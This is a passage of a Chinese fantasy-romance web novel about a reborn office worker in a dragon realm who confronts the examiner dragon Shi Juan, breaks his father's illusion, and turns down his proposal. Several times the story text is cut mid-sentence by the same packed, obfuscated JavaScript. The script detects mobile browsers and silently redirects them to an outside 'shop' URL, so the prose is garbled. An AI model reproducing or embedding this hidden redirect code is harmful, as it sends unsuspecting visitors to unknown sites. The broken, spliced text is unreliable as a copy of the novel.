l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760839|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几百年未曾有过的战斗欲。 “你认为，对于龙界的发展，我们可以做些什么？” 典型假大空问题，不落到实处，许多龙就这样背了三页都标准模板，谁能背的一字不漏，谁就能被选进去。 肖卷卷偏不想这么做。 她不求被选进“命题组”，这样的问题所选出来的人，也没什么值得羡慕的。 “这个问题是个严峻的问题，严峻地问题需要严峻地讨论，我认为呢，啊，这件事不能不办，也不能乱办，我们要缓办，有节奏地办，一样一样来办……” 先讲了十五分钟的废话，施倦感觉她讲了很多，又感觉自己什么都没听到。 偏偏自己还要记住她的回答，以在后面给她打分。 听完肖卷卷长达一小时的废话，他差点睡过去。 嗯，没错，肖卷卷把此生听过的所有废话都说了一遍。 就连不容易入睡的龙，此时都被她催眠了两只，施倦一左一右的评考员已然酣睡，只剩施倦一人苦苦坚持。 施倦那张人畜无害的脸，此刻也阴云密布。 “哈，有意思。”他干巴巴地回复。肖卷卷这个人类，和他见过的所有人类都不一样，甚至和他见过的龙也有很大差别。 对于肖卷卷，一切刻板的、不懂变通的题都套路不了她。 “所以啊，施公子，你不觉得这道题目很假大空吗？”拜托，人类世界都比这务实啊，这和面试一个岗位别人问你对于世界和平的看法是什么一样荒诞。 “你应该落实到实处，比如说关于龙生呵护，关于教育，关于发展……”肖卷卷循循善诱，“这些实质性需要解决的问题，也可以加入些时事讨论，不是更好的事吗？” 施倦的眼睛逐渐亮了起来，他没想到，这人类还真有两把刷子。别的龙能回答完问题，已经算很厉害的了，而他面前这个瘦小却勇敢与他对抗的人类，居然提出了真正属于“命题组”需要拥有的能力—— 质疑。 如果“命题组”不革新，迟早会被其他东西替代。 施倦怔怔地听着，心已经不自觉地向肖卷卷靠近。 肖卷卷的身上好香……肖卷卷的脸蛋好可爱……好想摸摸她的脸，然后猛吸一口肚子…… 他也想拥有自己的人。 一针见血，肖卷卷完美击破施倦为她设下的陷阱。 “还有啊，施公子。” 问题差不多问完了，肖卷卷起身，将自己身上的斗篷裹紧。 她用所有龙都听的到都声音，靠近施倦，轻轻说道： “施公子，请注意皮肤管理，你眼下的乌青和你的问题一样滑稽。” 一条好龙，的确能抗住所有施加在他身上都压力，能接受远超他承受能力的期望和嘱托，能办大事。 但一条好龙，抵不住一个歹毒人类的攻势。 肖卷卷就是那个歹毒的人类，把施倦玩弄于股掌之间。 说完这句话，肖卷卷霸气转身，只给施倦留下一个潇洒的背影： “施公子，今天我给你都这几句话，够你悟很久了哦。” 抱歉，姐不吃你这套，套路之类的，还是留给未来的傻龙们吧！ 8. 其实没有那么坏 大杀四方的肖卷卷回到宫修身旁，宫修看她的神情都变得崇拜了。 “肖卷卷，我是你的小迷弟……” “可别，您老几百岁，我好说歹说也才二十五，受不起。”在龙界出了第一口恶气，肖卷卷终于扬眉吐气一次，心情大好，恢复了点上班之前的精神头。 “不，卷卷！你真的很棒！”莉莉安拉着威廉飞扑过来，“卷卷你知道吗？你在台上回答面试的样子，真是帅呆了！” “我和威廉在底下为你捏了把汗呢！” 说起来，这亘古不变的面试题目是该改改了，施倦在之前的面试中没遇到过一个和肖卷卷这样能说会道的人，这才认为这样的环节没什么问题。 这也算吃一堑长一智吧。肖卷卷心想。 而此时的三楼办公室，施倦结束了面试环节，第一次没有那么着急地进行选人工作，而是平躺在床上，思考着肖卷卷提出的问题。 自己的问题过于宏大了吗……可是不问这么大的问题，怎么能看出对面的思维方式和能力…… 肖卷卷得意地抬起头的样子，和她鼓鼓囊囊的脸蛋，以及怒怼他时亮晶晶的眼睛……施倦轻轻叹了口气，人类原来是这么可爱的生物吗…… 啊……啊——啊！受不了了！这条白色的龙在床上无力地扭了几下，最终一跃而起，变成龙形态飞了出去。 他心中一股燥热的怒火，如果不发泄出来，施倦觉得自己马上就要彻底疯狂！ 什么龙要克制自己，成熟的龙都不会对人类摇尾乞怜，可就算肖卷卷隐藏成这样，他几乎都看不出来她在龙中有什么破绽，自己还是无可救药地想要靠近、希望拥有她。 银白色的龙对天长啸一声，成功把城堡里的其他龙全吵醒了。 这其中也包括肖卷卷和宫修。肖卷卷刚躺下了，辛苦了一天，准备好好休息做个美梦了，“轰”一声龙吟让她弹射起飞。 众所周知，不能在打工人怨气最重的时候喊醒她啊喂！ “施——倦——”肖卷卷低着头，垂下的长发让其他人看不清她脸上的表情。一步一步走到窗边，身旁怨念的气息让其他人根本无法忽视。 “大半夜的，让不让人睡觉了——” 一道金色的光，随后“空”的一声，在城堡里的所有龙都听到了来自自己内心的一声轰鸣。 周围的空气似乎凝固了下来，城堡进入了结界之中。 “施、倦！” 苍老的声音从天空中传来，金光逐渐散去，肖卷卷却什么都看不到，只能听到那震颤人心的嗓音。 “如此狼狈，此等控制不住自己欲望都低端卑劣之龙，怎么能进的了我们施家？” “我从你儿时开始，就对你充满了希望，可如今你在干什么？不仅没有做到将我们的理念发扬光大，反而被一个弱小的只能当宠物的人类耍都团团转，甚至开始怀疑自己的能力了。” “你做的一点都没有错，只需要遵守法典上的真理，只需要守护住永恒的规则。” “剩下的，一切都会迎刃而解。我的儿子，难道你不明白吗？” 比施倦掏出来对付宫修的、更长更恐怖的鞭子，一鞭一鞭打在施倦的背上。 “你本该站在更高的舞台上，为何止步不前？” “明明接受这些东西，是你应该要做的事，而现在你又在犹豫什么？” “施倦，你还嫌自己错的不够离谱吗？” 作为施倦的父亲，对自己的儿子使用的错误惩戒只会更严格。 很难分清他究竟在什么方向上，肖卷卷只能听到他的声音从四面八方传来。施倦的身上被缠满金色的锁链，每一次他崩溃的时候，比永远不会到来的拥抱和安慰先一步到他面前的，是父亲的掌风和无休止的羞辱之锁。 他是一条顶天立地的龙，于是他需要自律，需要从小走在别人前面，需要完成许多别人做不到的事。 他是父亲那规矩森严的世界里第一个受害者，是第一个被“命题组”毁掉的孩子。 一声又一声沉痛的嘶哑，周围的空间不断扭曲旋转，所有在场的龙都被卷入施倦无边的痛苦的回忆之中。 …… 我从小就知道，这个世界上的龙分为两种，一种是有能力的龙，一种是平庸的龙。 “爸爸，这次所有的考核我都考了满分，这周我可以和朋友一起去博物馆玩吗？” 小小的银白色龙站在一条巨龙身边，举着自己手中的考核单。 “你做的很好，但这是你应该做的。” 巨龙的身体缓缓移动，用自己的爪子捏起那张成绩单： “施倦，你要知道，你和其他的龙不一样，你生来就站在最高点，生来就是要当支配者的。” “你继承了我和你母亲所有优良的基因，是我最喜欢的孩子。” “对你来说，考满分轻而易举，不是吗？” 是这样的吗，考满分对我来说轻而易举。 我不再说话。父亲并没有直接指责我，也没有明确拒绝我，但如果我再露出想要去博物馆的神情，父亲那双深邃的眼眸中就会带上丝丝缕缕的失望，让我无法克制地颤抖。 他告诉我，我不同于平庸的龙，我生来就该是最强的。 他说我不需要和那些平庸的龙做朋友，他看过那些龙的成绩单，连获得一等都费劲，用他的审判标准来看，与废物并没有本质差别。 他曾经想在龙界实施一种政策，让多少分以上的龙和多少分以上的龙玩，至于低于最低标准性的龙，就让他们自生自灭好了。 反正龙界的龙很多，龙的寿命那么长，不久以后将会龙满为患。 他这样说着，我再也不敢向他提出这样的要求了。 我也曾像他说的那样，以为我自己是非同一般的龙。 我不需要朋友，不需要安慰，我可以一直做到最好。 可渐渐的，我发现，无论我怎么欺骗自己，心里还是泛起一阵寂寞又空洞的苦涩。他说朋友不好，只有强者才独自一人。可我想要朋友，我想要有朋友和我一起玩。 我开始以不同的身份结交不同的朋友，最后都以他们听到我的名字害怕而告终。 我叫施倦，这是对我的诅咒。 我注定不可能像其他龙一样，获得自己喜欢的人类。我出口就是深奥的题目，我要求他们有精密的计算，我讨厌一切超出我应对范围内的事情。 我也曾想要养一只人，人是那么珍贵的生物，所有人都喜欢。可父亲却说，优秀的龙都能学会克制自己的欲望，所以我也必须是这样的。 喜欢人是具有亲和力的龙才会做的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760840|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在我的地位上，只需要居高临下，只需要俯瞰一切不如我的子民，然后动动手指支配他们愚蠢的一生。 他们一辈子都离不开我，小时候需要做应对我的题目，长大后需要通过我的考验，笔试、面试，直到他们成为父母，培养他们的小孩，依旧要经过这一套严格而又残忍的流程。 也许我和我的名字强绑定，我来到这儿的一切目的，就是为了给那些龙施加疲倦的。 我是个无可救药的坏龙。 克制欲望、克制天性，我不明白这其中的原因究竟是什么，也不明白这有什么样的好处。 祖祖辈辈都这样做了，所以我也必须这样做。 …… 肖卷卷看着天空中那只银白色的龙缓缓倒下，身上金色的锁链逐渐散去，他在往下坠，不断下坠，幻化成人形态。 施倦脸上的运筹帷幄全然消失了，取代而知的是深深的迷茫和不知所措，他又变回了那个不知道该怎么做的孩子。 银色的头发，此时直直的往下坠着。他充满神性的脸居然多了几分悲悯，这是从前在他脸上看不到的东西。 “啧，麻烦了。”宫修披上斗篷，握住肖卷卷的手： “注意点，现在周围的一切都是那个老家伙幻化出来的，这老家伙在龙界也是臭名昭著了，他属于残忍伤害人类的那一批龙，小心点，说不定会对你出招。” 肖卷卷看向周围一团又一团的迷雾，郑重地点了点头。 比起这个老家伙，还是施倦更有情义些。 周围是来自施倦的记忆。小小的施倦坐在书桌旁，看着窗外的景色发呆。 “究竟要怎样才能出去呢……” 他桌子上的题写到一半，人却已经分了心，思绪早就游离，全然没有注意到身后父亲正在靠近的身影。 “你在干什么？” 愤怒的声音把他拉回现实，父亲的巴掌劈头盖脸打了下来： “我居然有你这么不上进的儿子！做练习还能分心！你到底在干什么？” “这样下去的话，今天你什么时候做完练习，什么时候吃饭。” “我现在对你严格，是为了让你以后能更好的运用法典。法典都不会用，你怎么使用自己的能力？” 法典里不仅有需要背诵的法则，还蕴含着这个世界的规律，数字、哲学、语言都在其中。 肖卷卷的心中掀起一阵风浪，原来龙界和人界一样，她小时候想过一样的问题——不出人头地会怎样？ 也许自己的热情早已燃尽，已经无心去拯救自己身处的世界了。但看到这样的景象，她实在无法坐以待毙。 明知道这是正确的，却不能去做的感受，肖卷卷在人类世界已经体验够了。 那么就在龙界当一回英雄吧。 再说了……回想起施倦和自己相处的过程，这条龙也没有坏到无可救药的地步。 她想帮他一把。 “谁规定法典一定要一天学成的？”施倦惊讶地望着突然出现在自己面前的黑色妙脆角，白金色的眼眸里终于多了几分不同于机械和麻木的神色。 “龙之所以有天性，这是神的指引。” “神规定了每个孩子来世界上要做什么，把他们往一个模子里逼，这才是真正不尊重法典的决定，您说对吧？” 9. 龙生注定遇见她 施倦一百零一岁的时候，曾经在路上遇到过一个白发苍苍的老先生。 据他所说，他能够看清力量强大的龙命运里那些关键的瞬间。施倦平时原本完全不相信这些所谓神力，但那天，老先生见到他的第一眼，说出他未来会回到过去被拯救时，施倦不得不承认，自己内心受到了极大的震撼。 于是他停下脚步，默默听老先生把所有话讲完。 他说，那个拯救他的“人”，是黑色的。 …… 穿着黑色斗篷的肖卷卷伫立在施倦面前，为他挡住所有扑面而来的数字和公式。 风很大，肖卷卷试着闭上眼，不去看面前的这团虚无缥缈的影子。她似乎发现了一点关于龙界能力的规律，看似神奇的超能力，只要视觉上没有被她“察觉”到，似乎就不会伤害到她。 前天，肖卷卷被施倦的锁链划伤手背时，起初手臂上并没有什么痛觉。她被宫修抱在怀里，看不见任何除了斗篷其他的东西。 直到她睁眼，“确定”了自己手臂上有一道伤口之后，那条伤口才开始疼痛，并且流出深红色的血液。 她隐隐约约地感觉到，也许龙界所谓能力，是建立在“相信”的基础上。 只要她一直欺骗自己，就什么事都不会有。 “根本就没有所谓伤害到我的能力，面前的只是虚张声势……”她对自己呢喃着。 面前的那团影子抖了抖，似乎不相信自己的攻击对于面前的人类毫无作用。 明明在这之前，他也对人类发起过几次攻击。曾经有一个人类丧命于他的掌下，面前的女孩手上还有自己儿子留下的伤疤，也不是免疫攻击的样子。 “错误惩戒！” 不信邪的他又发动了一次，对闭着眼睛自欺欺人的肖卷卷没有任何作用。 “那么，来评鉴一下这道题目吧！”企图用精神力控制肖卷卷的影子变为长长的一条，围住紧闭双眼的肖卷卷，将题目灌输进她的大脑。 “不听不听王八念经……”肖卷卷把头摇出残影，“哈，不如我们用这样的计算方法来算算你下巴上有多少根胡子怎么样？” “果然还是这样更好吧，聪明才智就应该用在做巧克力棉花糖上！芝麻糊还是拌白糖最好吃！” 影子猛地颤了几下，龙引以为傲的是逻辑和对客观事实的掌控，这样的无厘头发言实在不在他的意料之内。 可怜的肖卷卷根本不敢睁开眼，就连影子默默离开了她也不知晓。施倦从地上爬了起来，重新审视面前的这位“弱小”的人类。 人类很弱小，不能产生任何干涉龙的念力。 但眼前小小的人类，说出的话、做出的事却那么有力量。 她捂住自己的耳朵，打开的是在场所有龙的心灵。 也许不是只有一味地追求最完美的真理，才是幸福的生活方式。 …… 影子旋转着飘到远方，空间又一次扭曲，肖卷卷和施倦被推到一间空荡荡的房间，外面的宫修试卷敲打着玻璃： “肖——” 而里面的人什么都听不见。肖卷卷甚至不知道变换了场景，她还闭着眼睛。 “肖，场景换了。”施倦扶着肖卷卷的肩膀，“醒醒，别睡着。” 谁会在这种紧要关头睡着啊喂！肖卷卷睁眼后，狠狠瞪了施倦一眼。 施倦意外地没有多说什么，他的脸上带着淡淡的笑容，肖卷卷的瞳孔微微放大，是她的错觉吗？总觉得施倦的笑容真心了很多。 “肖，注意身边。”周围升起一排桌椅，这是一个以念力驱动材料的空间，无数写着知识的白纸从天空中飘落下来，落在肖卷卷和施倦身边。 施倦捡起一张纸，这些都是他小时候写的题目。 “想起来吧，你的勤奋，你过去是多么听话的一个孩子啊……” 苍老的声音回荡着，施倦蹙着眉。他白金色的眼睛缓缓合上，不断催促着他的声音缓缓缠上他的腿。 “施公子，你可真是乖啊。” 肖卷卷饶有兴趣地看向施倦，她突然发现一件事，那就是无论施倦自己是否愿意去完成对方的命令，只要对方下达一个看似不容拒绝的指示，他通常都会选择去完成。 而经历过一次死亡的肖卷卷不一样了，过去她或许也是这种人，看到别人失望，就开始反省自己。但现在的她，心态发生了本质上的改变。 一切让自己不舒服的事，都有拒绝的权利。 “你确定要在这个地方继续复习你的法典吗？”眉眼弯弯的人类缓缓靠近他，施倦只觉得自己心跳速度逐渐加快，脸上也泛起一阵红晕。 “难道……在这里还能做些什么其他的事情……” 他避开肖卷卷的视线。肖卷卷的长相并不是十分有攻击性的那种，相反，因为过度加班熬夜，她的面容实际上非常有亲和力，即有一种淡淡的死感。 但不知道为什么，施倦不敢直视打直球的肖卷卷的双眼。 “当然了，谁规定在房间里只有复习这一种做法的？”肖卷卷踮起脚，本想捏一捏施倦的脸蛋，突然觉得这个动作有耍流氓的嫌疑，便把手收了回来。 “咳咳，我们在这野餐怎么样？” “野餐？！”施倦大惊失色，他原以为肖卷卷要说出类似于“我们来背诵一下法典条例”或者“我们在这儿睡一觉”之类的话，根本没有想到还有野餐这个选项。 “可是这什么都没有……” “刚才也没有这些印着题目的白纸，由此可见，这是由精神力和想象力所创造出来的。”肖卷卷一副不关我事的态度，“施倦，你的精神力那么强悍，总不可能连一张野餐布和一篮食材都想象不出来吧？” 说的似乎有些道理，施倦试着使用一下自己的念力，果然，地上凭空出现了一块野餐布。 两人欢呼雀跃了一阵。场景不长，门口走进来了一个带着金丝框眼镜的老学究。 “上课。” 条件反射般，施倦想收起野餐布，手却被肖卷卷一把按住了。 “你答应我什么来着？总不能让我一个人冲锋陷阵吧？” 该服软时就服软，肖卷卷立刻换了个表情，变得泪眼汪汪惹人心疼： “说好了有祸一起闯，怎么你一个人先演起好学生来了？” “不管他，我们继续野餐。” 肖卷卷也试着想象了几个食材，可惜她的精神力不如龙类，只是想出了几个干瘪的苹果。 施倦看到后却憋不住笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760841|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，他从野餐布上拿起一个苹果，揶揄肖卷卷道： “这么小的苹果，你吃吧。” “呸呸呸，好酸……”果然什么样的事要让什么样的人来做，肖卷卷决定还是好好使唤面前这条精神力强悍的龙吧。 “我需要一个烧烤架，一点好吃美味的肉，还要有各种各样的调味料和水果……”龙界的食物肖卷卷算是见识过了，不加调味料，不做烹饪加工，根本就不可能好吃。 旁若无人，就当做那个老学究不存在，肖卷卷和施倦把烧烤架都架好了。 “咳咳，那边的同学，你们拿着布干什么？”终于，老学究的信念有些崩塌。他收起手中的教案，严肃地看着肖卷卷和施倦两个为非作歹的学生。 “诶，这里原来是教室吗？那我们走错了，我们是来野餐的。” 肖卷卷从善如流地回应着，她才不怕这些莫名其妙甩给她的锅呢。如果别人安排什么就一定要做什么，她在死前就进不了大厂，也当不了那么久的社畜。 百依百顺是不会有立足之地的，更何况，现在这种情况明明是强买强卖。 “对不起啊，我们现在就离开。” 说的那么理所应当，施倦的手腕被肖卷卷柔软又温润的手一把抓起，两个人和让老师最头疼的不服管的学生那样，径直朝门口走去。 “麻烦帮我们开一下门。”肖卷卷冷脸警告。 她并不排斥学习知识，如果这样的方式足够温和，这样的教育足够正确。 她排斥的是束缚住一条本来应该翱翔于天际的龙，让他被困在牢笼里，毁掉接下来一代又一代的孩子们。 “该死……让开！”被拦在教室外面的宫修已经快进入暴怒状态了，看着自己的人类在里面和另一条龙共处一室，是条龙都会觉得嫉妒。 更别说还有生命危险。 他让帮忙一起打破扭曲空间的莉莉安和威廉离远一点，随后深吸一口气，从喉咙里吐出熊熊火焰。 你不仁别怪我不义，宫修身体里的火焰是一种近乎无敌的存在，只是不常用而已。 这种火焰什么都能烧，是龙界最强大的武器，也是他们家族的象征。 “咦？烧烤的火是不是太旺了些？”肖卷卷还没意识到事情的严重性，“施倦，你能灭火吗？” “咳咳……”施倦望向教室门口，宫修两眼通红，发着恐怖的亮光。 “这火没人能灭……”懒洋洋地从地上一撑而起，肖卷卷起身较慢，她正想让施倦拉她一把，借点力，施倦却主动将她扶了起来。 “当心。你的龙来救你了。” “宫修！”看到宫修的肖卷卷眼睛肉眼可见地亮了一下，她顾不上身旁的人，飞扑到宫修身上： “你终于来啦！” 宫修的怒火一下全灭了，而那个老学究早就被烟熏晕了过去。 幻境被打破，身后的施倦落寞地勾了下手指。 啊……他明白了。 那个算命的老先生说的话，原来真的应验了。 他注定会遇到的，拯救他的人。 此时就在自己眼前。她是比龙更勇敢的人类。 或许，在更大的维度上，她应该被称为—— 「勇者。」 10. 回忆可以不一样 很久很久以前，龙界还是有勇者这一类人类的。 她们精力充沛，阳光活力，虽然这两点和面前的肖卷卷并无半点关联，但施倦眼中，黑眼圈沉重、腰椎嘎吱作响的肖卷卷，还是能够担起这个称号。 她是他的勇者。 “施倦，之前看你那么神气，原本我还以为，你是一条有不满的事就会选择反抗的龙呢。”肖卷卷整理了一下刚才被宫修喷的火弄乱了的头发，“没想到你那么听话。” 怪不得父子俩的招式都是锁链，看来是在约束别人这件事上占尽了好处。 遇到肖卷卷这样不听从安排的，自然没招了。 乍一看施倦，似乎是个正经又善良的龙，了解过后发现，他邪恶的想法一点不比身旁的宫修少。肖卷卷叹了口气，这算什么事，怎么总让她摊上这样的龙。 “没办法，也是被原生家庭坑害的可怜龙……” 肖卷卷耸了耸肩，自己的家庭虽然算不上太好，至少也没那么地狱。 “走吧，回忆一时半会也出不去了，干脆一起回顾一下你的童年吧。” 黑棕色的长发飞扬在空中，施倦看着肖卷卷的背影，她已经将斗篷的帽子掀下。 “反正，你们都知道我是人了。” 施倦张了张嘴，没发出什么声音，自己的腿却跟着肖卷卷一起动了起来。 也许这就是基因的魅力吧，龙注定是拒绝不了人的。这条注意事项甚至写在了法典里。 两龙一人，在施倦的回忆中漫游起来。银白色头发的龙看着窗户里一个又一个向往着外界的小小身影，沉默了不知道多久。 如果不是作为一个局外人，观看自己的记忆，施倦不会知道回忆中明明没有那么难熬的午后，自己有多想逃出去。 “你就这样看着吗？” 身旁黑色斗篷里的女孩就这样望着他：“你不做点什么？” 肖卷卷也算是服了这条胆怯的龙了，她完全摸透了施倦的性格。 只想不做，完全把自己置身事外，就连自己的痛苦也无法感受。 “施倦，你抬头。” 沙哑的声音此时在施倦耳朵里那么好听，肖卷卷轻巧地跃上了身旁的栏杆，这个空间在不断坍塌，上一秒的景色和下一秒都有可能毫无相同之处。 “咳咳……宫修去找水了，我问你，你现在看到了些什么？” 她棕色的眼睛直直地盯着自己，扑通、扑通，施倦觉得自己的心跳快的可怕。 “这里是我的回忆……”他没有正面回答这个问题，而是岔开话题说了些别的。 “你有没有注意过，你童年的天其实很蓝。” 身旁的人轻声叹气，肖卷卷你的斗篷随风扬起，整个人像龙界一个象征着美好含义的符号。 “走吧，去看看你童年的天。”肖卷卷思索了一下，抓住施倦的手腕： “施倦，你会飞吗？” “哈，当然。”施倦的眸子里充满了不可置信：“我好歹也是龙……” “那驼我上去。”虽然上了多年的学和班，自己的老腰老腿都被折磨的嘎吱作响，好歹小时候也是在乡下和爷爷奶奶疯跑疯玩过的，肖卷卷拍了拍施倦的脑袋，等他变成龙形态之后，抓住他的胡须一跃而上。 这严格意义上来说，算她第二次骑龙。第一次骑龙的时候左摇右晃，还差点被那头性格暴躁的龙甩下去（宫修受到一万点暴击），第二次骑龙，肖卷卷总结出了一点规律。 还是骑在头顶比较牢靠。 从小就听那些拥有人类的龙说，把人类顶在头顶是一件非常令龙自豪、让龙幸福的事情，百闻不如一见，百见不如一干，当自己的头顶真的坐上一只小小的人类时，那种来自龙基因里的呼喊声排山倒海地向施倦涌来。 呼呼！有一只人坐在我的头顶诶！ “驾驶龙需要有驾照吗……”抓着施倦的两条胡须，肖卷卷后知后觉意识到这个问题，她现在还没完全搞懂龙的习性，就这样草率坐上，那接下来呢…… “那个……向左！”肖卷卷试着揪了一下左边的胡须，施倦果然向左飞去。 “诶嘿！管用管用！”从来没想到骑龙那么好玩，明明自己以前也是个会在田间找乐子的小女孩，不知道从什么时候开始，世界里好像只充斥着那些令自己讨厌的东西。 说起来很讽刺，直到死后，肖卷卷才不是露出这样快乐的笑容。 “施倦！你抬头，我们飞到云上去！”肖卷卷指着最白的一朵云：“冲啊！” 这是施倦童年未曾抵达的地方，这是他所向往的，现在可以达成了。 “抓紧。”银白色的龙一跃而上，穿过云霄，划过天空，尾巴甩开最后一丝阻碍，他终于站在了记忆里无数次叹息遗憾，却未曾抵达过的远方。 “看呐！你明明可以拥有更美好的回忆呀！” 龙飞翔的速度很快，肖卷卷不得不伏低身子，趴在施倦的龙背上。穿梭在云霄里，她也想起了自己小时候最纯真的笑容。 那些痛苦的回忆原本可以很快乐，那些痛苦的记忆现在可以变得更快乐。 肖卷卷“驾驶”着施倦，把他回忆里所发生的所有事都重新经历了一遍。笔可以用来写作业，也可以用来画画；不是只有考核才能去室外，玩耍也可以。 “哈哈……”风卷起施倦银白色的发丝，貌美如神明的公子与穿着黑斗篷的人类坐在一起，两人就这样并排躺在草地上。 施倦承认，过去他也许对人类有偏见，他认为人类只能受到龙的保护，只是那群附庸风雅的龙炫耀的资本。 自从遇到肖卷卷，“人”这个概念在他脑中反复刷新认知。人可以是勇敢的，可以是智慧的，也可以是不讲道理的。人和龙一样，两者的性情并没有什么本质上的区别。 他开始爱上和人待在一起的感觉。 …… “水。”好不容易找到点水，自己的家都差点被偷完了。 宫修一脸愤慨地看着面前这一龙一人。我对自己所有的人类具有绝对占有欲，他嘴角一斜，红色的瞳孔中放出危险的光芒。 这家伙，宫修早就看他不顺眼了，顶着一头洁白的头发，虽然他知道这样的发型很受人类欢迎，可一直在勾引他的人类……一直在挑衅他！ 与此同时，施倦视线也锁定了面前这条黑色的龙。从一开始这两人就穿着情侣装，到后来明明肖卷卷都选择坐在他头上了，这家伙还是凑过来打扰他们的约会。 “有本事来打一架啊！” 大战一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760842|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触即发，两条龙都亮出了自己的原始瞳色。 身为始作俑者的肖卷卷，惬意地在旁边伸了个懒腰。 “啊——太舒服了！好久没有这么快乐的笑过了！” 这样的感觉许久未曾拥有，心中的泥土被钢筋插满，很快故乡变成一叠又一叠的试卷和练习册，说到底，自己也不过是个在外乡寻求活路的普通人。 虽然现在，晕倒之后来到了龙界，离家乡反而更近了些。 “修，谢谢你愿意陪我踏上这场旅途。”腰上被一个温暖又柔软的东西抱住，宫修浑身一僵，红色的瞳孔也转为琥珀色。 “没、没什么……只要你愿意，接着陪你冒险下去，也没什么大不了的……” 经过这一遭，肖卷卷也对龙界产生了那么点兴趣。她原本只是想混吃等死，在龙界好好修身养息的，现在看来，去更多地方看看也没有什么坏处。 全当免费旅行了嘛……而且人界还没有那么多有意思的景点呢…… “你是我见过的最与众不同的人类。” 施倦单手撑地，华丽起身。 这个空间已经崩塌的差不多了，漫天飞舞着草屑与鲜花，施倦轻轻一挥手，握住一朵小小的紫色花朵，插在肖卷卷的发间，表情温柔。 其实自己早就心动，三番五次地放过她，事后却还是要为自己找理由，说明明就是因为这个人太古怪，自己才会注意到。 原来这样的感情已经不仅仅是奇怪，而是爱慕。 “如果你愿意的话，完全可以留在卡宴，我可以陪你过完你的一生，直到你幸福地在丝绸被单上合眼。” “做我的人，好吗？” 大哥，要不然你还是看一眼旁边的宫修吧，他马上就要吐火了。 肖卷卷认真地望向施倦的眼睛，在人界，她吃了很多的苦，听到这样的话应该欣然接受的。 毕竟她只是想摆烂，不是吗？ 可不知为什么，成为一条龙永恒的玩物这件事，肖卷卷心里总是接受不下去。 她自诩自己为失败的零零后，接受了超前的教育，遇上了落后的时代。明明一心想摆烂，手上却还做着内卷的事情。 几十年对她来说，差不多可以过完自己的大半辈子，而对施倦来说，不过是弹指一挥间的事。 他大可以在这段时间里保持着对她的新鲜感，她也可以过一阵子惬意生活。 但比起这些，似乎肖卷卷需要的休息，并不是永远躺着被人服侍。 比起身体，她的心灵更需要安抚。 “对不起。” 空间完全坍塌，他们原来还站在房间里，从未离开过。 施倦白金色的眸子有些碎裂，受伤地望着肖卷卷。 “我想再往前走走。”肖卷卷的眼睛透露着打工人的疲惫，但眼神却很有力。 言尽于此，施倦叹了口气。 他是一条体面的龙。人的生命短暂又绚烂，他完全能够理解肖卷卷的想法。 注视着肖卷卷与宫修的背影，施倦悦耳的声音在他们身后响起： “如果有需要我的时候，卷卷，只要你提，我一定会答应。” “卡宴城还需要我，就不送你们一程了。” “卷卷，一路平安。” 11. 入城先送一大礼 离开卡宴，肖卷卷惬意地趴在宫修的龙背上，抓着他飘舞着的胡须轻声哼着歌。 今天的阳光很好，照在人的身上暖暖的。要不是急着赶路去下一个地点，肖卷卷真想就这样睡一觉，可惜龙背上太过于颠簸，要是她现在合眼，几分钟后就不知道落到底下哪个草丛里去了。 在龙界发现野生人类无疑是一件大事，肖卷卷在卡宴突然出现，无数龙界记者争相报道此类新闻，好在施倦把它们全部压了下去。 “我在人界籍籍无名地活了那么多年，现在可不想这么受欢迎。” 肖卷卷的诉求已经很明显了，她不要被过多的龙打扰生活。 “果然还是自由自在的更爽快。” 离别的那天，施倦恋恋不舍地抱了好一会肖卷卷，把她从头到脚撸了一遍，先揉脑袋，后挠下巴，狠狠过了一把“吸人瘾”。 沾了一身人味的施倦第二天到命题组，把组员都吓了一跳，纷纷问他是不是养了人。 嗯，养了，人跑了。 总之，肖卷卷彻底成为了龙界的都市传说般的存在，龙类一家在餐桌上闲谈时吹的牛，都是曾经在卡宴城见过一个野生人类。 肖卷卷的形象也随着人们口口相传变得离奇起来，有人说她其实是第三性别，非男非女；有人说在卡宴城看到她时，她眼神锐利如美杜莎，和她对视的龙都会死亡。一时间，肖卷卷这个名字成为了在明面上不可言说，在背地里却频频流传的词汇。 这股风声，也吹到了布伽辛区管理者的耳中。 “哦？”坐在真皮座椅上的男人勾起嘴角，张扬的金发加上这张充满侵略性的脸，整个人在人群里闪闪发光。 没错，这就是布伽辛区至高无上的管理者——贾斑。 